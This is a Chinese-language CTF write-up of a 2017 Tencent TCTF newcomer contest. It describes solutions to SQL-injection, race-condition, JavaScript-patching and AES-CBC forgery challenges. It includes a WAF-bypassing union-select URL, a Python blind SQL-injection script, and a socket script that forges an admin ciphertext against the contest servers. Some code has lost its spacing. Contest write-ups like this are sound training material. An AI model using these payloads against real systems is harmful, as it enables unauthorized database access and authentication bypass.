上星期參加了騰訊TCTF的新人邀請賽(RisingStar),拿了93名(新人11名),寫個writeup記下做出來的題備忘。
welcome
打開http://webchat.freenode.net/,進入0ctf2017 channel
simplesqlin
http://202.120.7.203/index.php?id=1,後面加上and 1=1 和and 1=2,返回結果不同,判斷注入點在id,用order by 判斷字段數爲3,直接使用union select會被waf過濾,使用特殊字符截斷關鍵字後能繞過waf。
playload:
http://202.120.7.203/index.php?id=-1%20un%0bion%20se%0blect%201,flag,3%20fro%0bm%20flag
flag{W4f_bY_paSS_f0R_CI}
Temmo's Tiny Shop
註冊一個新賬號,登陸後,infos中說如果你買東西就會有提示,但是錢只有4000,買不了8000的!HINT!,猜測要用條件競爭刷錢。於是把其它商品買了一遍,再看infos,其中有一條“Maybe you will know somethingwhen you know if the cat is alive”,商品名是Erwin Schrodinger's Cat(薛定諤的貓)(這個梗…),猜想應該是這裏存在競爭,於是用burpsuite的Intruder開多個線程對Erwin Schrodinger's Cat進行買賣操作
把錢刷到了8800
買了hint之後,得到提示
select flag from ce63e444b0d049e9c899c9a0336b3c59
經過嘗試,注入點應該在參數order,構造sql語句
if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),%s,1)like(0x5c%s),name,price)
可以繞過waf,盲註腳本打一發:
import requests
import string
tab=string.printable
r=requests.session()
r.post("http://202.120.7.197/app.php?action=login",{"username":"asdfghjk","pwd":"asdfghjk"})
print 'start...'
flag=''
for j in range(50):
for i intab:
text=r.get("http://202.120.7.197/app.php?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),%s,1)like(0x5c%s),name,price)"%(j,i.encode('hex'))).text
#printi.encode('hex')
if('!'in text[:50]):
flag=flag+i
printflag
break
flag{r4ce_c0ndit0n_i5_excited}
KoG
拿到這道題,發現他是列出用戶名,那麼應該是根據id來取得,於是首先嚐試
嘗試sql注入
查看源碼,有一段js代碼,大意是獲取用戶輸入的id,如果是非法的輸入會彈出如上圖所示的窗口,如果是合法輸入則會通過Module.main()函數返回一個值作爲hash和time,那麼關鍵就是這個Module.main()函數了,原網頁中還有其他的js文件,單個查看太麻煩,於是想到用chrome來調試js
打開控制檯後,先設置幾個斷點,運行後會進入到一個functionn.js,這裏應該就是id處理的了,通過chrome的單步調試,比對合法輸入和非法輸入出現的Scope,在兩個if處發現了不同
首先是這裏,這個$13的變量值,在合法輸入中爲true,非法輸入爲false
那麼可以將$13修改爲恆真,如下圖
第二個if是在這裏
這裏的label在合法輸入中爲0,非法輸入中爲12,所以,可以直接在前面給他賦值爲0,如下圖
然後,將原網頁的functionn.js給替換掉,放到本地Apache的www目錄下,之後就可以注入了
於是用id=-1 union select 1,hey from fl4g注入
最後得到的flag是
integrity
從題中我們可以看出,攻擊者可以進行加密查詢。他需要構造一個密文C可以解密成爲”admin”後,便可獲得flag。
因爲代碼中使用的是AES CBC加密模式,同時每次新連接產生的時候。使用了全新的密鑰。所以我們必須在一個會話中完成對密文的構造。
這裏可以利用加密查詢來構造消息” md5(pad(admin))||pad(admin)”。我們將得到密文”IV||C1||C2||C3”。
拋棄原IV
令IV’=C1
C1’=C2
C2’=C3
發送密文“IV’||C1’||C2’”,即可解密獲得flag.
利用腳本:
#getflag.py
import socket
import time
from hashlib import md5
BS = 16
pad = lambda s: s + (BS - len(s) % BS) *chr(BS - len(s) % BS)
raw='admin'
key=md5(pad(raw)).digest()
data=key+'admin'
#Get flag
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("202.120.7.217",8221))
s.send('r'+'\n')
s.send(data+'\n')
#wait
time.sleep(1)
flag=s.recv(256).split()[13]
s.send('l'+'\n')
flag=flag[BS*2:]
s.send(flag+'\n')
#wait
time.sleep(1)
print s.recv(256).split()[2]
flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}